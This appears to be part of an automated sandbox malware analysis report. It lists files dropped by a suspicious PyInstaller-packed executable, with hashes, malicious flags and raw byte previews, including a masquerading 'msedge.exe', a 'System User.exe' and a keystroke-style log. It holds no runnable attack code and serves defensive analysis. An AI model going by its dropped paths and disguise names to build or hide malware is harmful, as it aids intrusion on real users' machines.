Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.1.9.1.4.0.8.6.6.8.0.1.5.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.1.9.1.4.0.9.4.0.2.3.7.8.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.b.f.5.7.e.0.9.-.7.9.7.d.-.4.6.5.b.-.9.5.4.e.-.e.3.6.e.0.3.0.6.d.8.3.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.5.b.7.b.d.2.0.-.8.9.a.e.-.4.e.f.0.-.9.c.c.1.-.9.1.0.f.a.b.c.1.6.8.6.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.d.d.d.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.o.l.a.r.a.B.o.o.t.s.t.r.a.p.p.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.4.c.-.0.0.0.1.-.0.0.1.4.-.9.2.c.1.-.3.6.7.0.0.9.5.3.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.f.e.1.7.3.6.3.1.c.a.d.c.4.a.7.6.9.5.d.3.9.9.5.7.a.1.2.d.e.9.c.0.0.0.0.0.0.0.0.!.0.0.0.0.3.0.2.3.1.a.4.6.7.a.4.9.c.c.3.7.7.6.8.e.e.a.0.f.5.5.f.4.b.e.a.1.c.b.f.b.4.8.e.2.!.d.d.d.d...e.x.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3944.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Fri Dec 20 18:03:29 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	616622
Entropy (8bit):	3.2795922451199595
Encrypted:	false
SSDEEP:	3072:/bGmA3+vprpoVmfyBOXpIymdSZIJR70S9VU4aPMR+37ktkvau7LWTVdcSr5Y4viw:TGmA3QI79Up++4i1LWr1Y4QqvXA6bB
MD5:	27E1A100399119486D0998B0EE284F86
SHA1:	DA90E68266055C6D6FA5CFC67D3B4A131ADF0B6A
SHA-256:	A3C3690EFA375536A99D55CBD795AC4CFA31F8B513C6DBD8AFB6273FEC9F9A89
SHA-512:	5D2836758BDDDC95F9AD052236C93A4EA23E01A2F3D088B8923E049623538515C234BCBAC276254AEFBB93EA244B2002A4C636B38D966E0640C31E206EE59AA3
Malicious:	false
Preview:	MDMP..a..... .......q.eg............d...........<...........<....)...........)......tT..............l.......8...........T............W...............F...........G..............................................................................eJ.......H......Lw......................T.......L...b.eg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3B0A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6768
Entropy (8bit):	3.7164055635204187
Encrypted:	false
SSDEEP:	192:R6l7wVeJK8ZpgP5cYZ58UcprM089bO5UfAam:R6lXJxZpgBcYHlvxOqfM
MD5:	2F57F10661DC5271D0F324CD82546485
SHA1:	0CD51E8CC0FA79924CD94965D071283667DAD258
SHA-256:	FC6A41F698876782E3D91B38D372EE1A572AAB04655BEAA141E976427F21C6C6
SHA-512:	6C383397A31E1E03B4DF941F07147FCC1EBDC8983F51D3DCD22994A4CAAAE4B81D3E4724909B690B50AE6C5F74301641B561B6DACD8CBCFB2F0E9196A1E48187
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3B3A.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4769
Entropy (8bit):	4.436060729624475
Encrypted:	false
SSDEEP:	48:cvIwWl8zs1Jg771I93tSWpW8VYLYm8M4JoD/FGWyq8vq3DIWad:uIjfPI7gV7VTJfWWssWad
MD5:	0220813281E5296BC47C75B1EF0C9D0B
SHA1:	7F7E177B2BAF371523B34DB66118795C1421B438
SHA-256:	1BA3F8D0C8272B5D1A4D382C14911D4785BEB74C3B63C9719244584B9B40E233
SHA-512:	FFC47A01576F82E345E2708A29CE0E028B3C636888E8C8BE95832B63B5586DE87EDE2DA9A4A91BF14253101246F4429272F214D6F950FF31E291F9E320097092
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="639906" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\System User.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\System User.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\msedge.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41
Entropy (8bit):	3.7195394315431693
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr4rNrn:EFYJKDoWrcBn
MD5:	0DB526D48DAB0E640663E4DC0EFE82BA
SHA1:	17AC435DAFEA6FF9F4D6F83FA6C54F9800F43724
SHA-256:	934290A76F9E1804069D8ED6515B14101D9D8ABA2EACBF5B260F59941C65340E
SHA-512:	FACD013E1B5B8163214CA8C3A18ADEEC3541153CD69240EEFA76DDD54809186E919C1D635AEA648A8641DE7C3216BEC11C41F04719B60F07EDFDC01FF79027B9
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]r[WIN]r

C:\Users\user\AppData\Local\Temp\_MEI4322\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: wp-s2.exe, Detection: malicious, Browse Filename: wp-s2.exe, Detection: malicious, Browse Filename: wp-cent.exe, Detection: malicious, Browse Filename: wp-cent.exe, Detection: malicious, Browse Filename: WTvNL75dCr.exe, Detection: malicious, Browse Filename: WTvNL75dCr.exe, Detection: malicious, Browse Filename: chos.exe, Detection: malicious, Browse Filename: ihost.exe, Detection: malicious, Browse Filename: ahost.exe, Detection: malicious, Browse Filename: PixelFlasher.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85496
Entropy (8bit):	6.614481743039511
Encrypted:	false
SSDEEP:	1536:XEfz7lgmVLsSIX0qku0Spf72hbktIj865spLFImLV7yUzR9AfIIoT:0fz1IX8FS12itIA66pLFImLV5X
MD5:	C17DCB7FC227601471A641EC90E6237F
SHA1:	C93A8C2430E844F40F1D9C880AA74612409FFBB9
SHA-256:	55894B2B98D01F37B9A8CF4DAF926D0161FF23C2FB31C56F9DBBAC3A61932712
SHA-512:	38851CBD234A51394673A7514110EB43037B4E19D2A6FB79471CC7D01DBCF2695E70DF4BA2727C69F1FED56FC7980E3CA37FDDFF73CC3294A2EA44FACDEB0FA9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4@..4@..4@..L...4@..A..4@....4@..C..4@..D..4@..E..4@.v.A..4@..A..4@..4A.4@.v.M..4@.v.@..4@.v....4@.v.B..4@.Rich.4@.................PE..d....WOg.........." ...*.....\..............................................P......Og....`.............................................H...(........0....... .. ........3...@..........T...........................`...@...............x............................text...?........................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	280808
Entropy (8bit):	6.594541687872342
Encrypted:	false
SSDEEP:	6144:ZtC0Z5JA0/8cyMn9qWM53pLW1Acr8sJMIsgVFe:DbJAy86a9diFe
MD5:	AD4324E5CC794D626FFCCDA544A5A833
SHA1:	EF925E000383B6CAD9361430FC38264540D434A5
SHA-256:	040F361F63204B55C17A100C260C7DDFADD00866CC055FBD641B83A6747547D5
SHA-512:	0A002B79418242112600B9246DA66A5C04651AECB2E245F0220B2544D7B7DF67A20139F45DDF2D4E7759CE8CC3D6B4BE7F98B0A221C756449EB1B6D7AF602325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\lUT..;...;...;..u....;...:...;...8...;...?...;...>...;...:...;.j.:...;...:...;...8...;...6...;...;...;.......;...9...;.Rich..;.........................PE..d....WOg.........." ...*.....\...............................................P......\V....`.................................................\........0...........+.......6...@..........T...............................@............... ............................text............................... ..`.rdata..l...........................@..@.data...8'......."..................@....pdata...+.......,..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	65528
Entropy (8bit):	6.228447315858868
Encrypted:	false
SSDEEP:	1536:2LDxflFwY9XDhnuVNv1dImvIqyUzR9yRfIPF:2J92ATMVNv1dImvI5qd
MD5:	422E214CA76421E794B99F99A374B077
SHA1:	58B24448AB889948303CDEFE28A7C697687B7EBC
SHA-256:	78223AEF72777EFC93C739F5308A3FC5DE28B7D10E6975B8947552A62592772B
SHA-512:	03FCCCC5A300CC029BEF06C601915FA38604D955995B127B5B121CB55FB81752A8A1EEC4B1B263BA12C51538080335DABAEF9E2B8259B4BF02AF84A680552FA0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N.A..............K.............................................x.........................................'.............Rich............PE..d....WOg.........." ...*.P...~.......=....................................................`.........................................p...P................................3......X....l..T............................k..@............`...............................text....N.......P.................. ..`.rdata...M...`...N...T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159224
Entropy (8bit):	6.86011233030861
Encrypted:	false
SSDEEP:	3072:kn18fe1+/ol6s/7NjQWzjUZ1/oPEznfB9mNo7r0J0q4BcFIm01zwWO:k0s0Ef0gS5YO7ICq4BcYw
MD5:	66A9028EFD1BB12047DAFCE391FD6198
SHA1:	E0B61CE28EA940F1F0D5247D40ABE61AE2B91293
SHA-256:	E44DEA262A24DF69FD9B50B08D09AE6F8B051137CE0834640C977091A6F9FCA8
SHA-512:	3C2A4E2539933CBEB1D0B3C8EF14F0563675FD53B6EF487C7A5371DFE2EE1932255F91DB598A61AAADACD8DC2FE2486A91F586542C52DFC054B22AD843831D1E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..C~...~...~...w.?.z...o3..\|...o3..}...o3..v...o3..r....3..}....4..\|...~........3..D....3.......3S......3......Rich~...........PE..d....WOg.........." ...*.`...........1.......................................p............`.............................................L.......x....P.......0.......:...3...`..4....\|..T...........................P{..@............p...............................text...N^.......`.................. ..`.rdata.......p.......d..............@..@.data........ ......................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc..4....`.......8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84984
Entropy (8bit):	6.333897580970998
Encrypted:	false
SSDEEP:	1536:auV3gvWHQdMq3ORC/OypTNQlyJ+9+nzLYwsSI6tzOCu5ImywwyUzR9EtfI5gn:auVQvcQTSypTNQlyJs+nzLYaI6Qt5ImX
MD5:	ABF998769F3CBA685E90FA06E0EC8326
SHA1:	DAA66047CF22B6BE608127F8824E59B30C9026BF
SHA-256:	62D0493CED6CA33E2FD8141649DD9889C23B2E9AFC5FDF56EDB4F888C88FB823
SHA-512:	08C6B3573C596A15ACCF4936533567415198A0DAAB5B6E9824B820FD1F078233BBC3791FDE6971489E70155F7C33C1242B0B0A3A17FE2EC95B9FADAE555ED483
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c..\..}\..}\..}UzR}Z..}M..\|^..}M..\|_..}M..\|T..}M..\|Q..}..\|^..}\..}...}...\|U..}..\|]..}..\|]..}.>}]..}..\|]..}Rich\..}........PE..d....WOg.........." ...*.x.......... -.......................................`............`.........................................@...P............@.......0...........3...P..........T...........................@...@............................................text....w.......x.................. ..`.rdata.. y.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\base_library.zip

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1396821
Entropy (8bit):	5.531015514770172
Encrypted:	false
SSDEEP:	12288:0W7WpzO6etYzGNcT1pz3YQfiBgDPtLwjFx278SAZQYF93BGfL+DuWFnjVpdxhYVd:l7WpzZSeT1xTYF9f5pdxhYVP05WdZ7
MD5:	18C3F8BF07B4764D340DF1D612D28FAD
SHA1:	FC0E09078527C13597C37DBEA39551F72BBE9AE8
SHA-256:	6E30043DFA5FAF9C31BD8FB71778E8E0701275B620696D29AD274846676B7175
SHA-512:	135B97CD0284424A269C964ED95B06D338814E5E7B2271B065E5EABF56A8AF4A213D863DD2A1E93C1425FADB1B20E6C63FFA6E8984156928BE4A9A2FBBFD5E93
Malicious:	false
Preview:	PK..........!.+.P............._collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

C:\Users\user\AppData\Local\Temp\_MEI4322\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\python313.dll

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6093816
Entropy (8bit):	6.129208926967787
Encrypted:	false
SSDEEP:	98304:IDcLwZ+b7nYp4zwSL3TvGnYSBvxHDMiEZ10i:IDgt7nYpvu3TvJik0i
MD5:	3AAD23292404A7038EB07CE5A6348256
SHA1:	35CAC5479699B28549EBE36C1D064BFB703F0857
SHA-256:	78B1DD211C0E66A0603DF48DA2C9B67A915AB3258701B9285D3FAA255ED8DC25
SHA-512:	F5B6EF04E744D2C98C1EF9402D7A8CE5CDA3B008837CF2C37A8B6D0CD1B188CA46585A40B2DB7ACF019F67E6CED59EFF5BC86E1AAF48D3C3B62FECF37F3AEC6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........F.r.'.!.'.!.'.!.. .'.!.z!.'.!.. .'.!.. .'.!.. .'.!._.!.'.!... .'.!.'.!N&.!F.. -'.!F.. .'.!F.x!.'.!F.. .'.!Rich.'.!........PE..d....WOg.........." ...*.L+..f9.....`W........................................d.......]...`...........................................P.......P...... d......P].......\..3...0d.D....Q3.T.....................I.(....P3.@............`+..............................text....K+......L+................. ..`.rdata....%..`+...%..P+.............@..@.data...$:....Q..N....P.............@....pdata.......P]......@U.............@..@PyRuntim.N...._..P....W.............@....rsrc........ d.......\.............@..@.reloc..D....0d.......\.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\select.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32248
Entropy (8bit):	6.547651395731859
Encrypted:	false
SSDEEP:	768:QCy9Hf68Z5Im9G9JyUFRYT2Ip4HCxf1mlzzTz:QCy9/68Z5Im9G3yUzR9YfIPv
MD5:	62FE3761D24B53D98CC9B0CBBD0FEB7C
SHA1:	317344C9EDF2FCFA2B9BC248A18F6E6ACEDAFFFB
SHA-256:	81F124B01A85882E362A42E94A13C0EFF2F4CCD72D461821DC5457A789554413
SHA-512:	A1D3DA17937087AF4E5980D908ED645D4EA1B5F3EBFAB5C572417DF064707CAE1372B331C7096CC8E2E041DB9315172806D3BC4BB425C6BB4D2FA55E00524881
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ks{..(..(..(.R.(..(..)..(..)..(..)..(..)..(w..)..(..(..(...)..(w..)..(w..)..(w..(..(w..)..(Rich..(................PE..d....WOg.........." ........2......................................................n.....`..........................................@..L...<A..x....p.......`.......J...3......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...p....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI4322\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	711912
Entropy (8bit):	5.867548153768221
Encrypted:	false
SSDEEP:	12288:LY4dLI/X77mvfldCKGihH32W3cnPSqrUgLnm:LY4W7qNxr3cnPXLnm
MD5:	43B8B61DEBBC6DD93124A00DDD922D8C
SHA1:	5DEE63D250AC6233AAC7E462EEE65C5326224F01
SHA-256:	3F462EE6E7743A87E5791181936539642E3761C55DE3DE980A125F91FE21F123
SHA-512:	DD4791045CF887E6722FEAE4442C38E641F19EC994A8EAF7667E9DF9EA84378D6D718CAF3390F92443F6BBF39840C150121BB6FA896C4BADD3F78F1FFE4DE19D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b..Q&...&...&.../fY. ...7...$...7...%...7.......7...+.......%...T...$...&...i.......'.......'.....5.'.......'...Rich&...................PE..d....WOg.........." ...*.B...f......P,....................................................`.........................................P...X................................6..........p...T...........................0...@............`..h............................text....@.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1mhwqddl.kkz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wenzjvz.s15.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

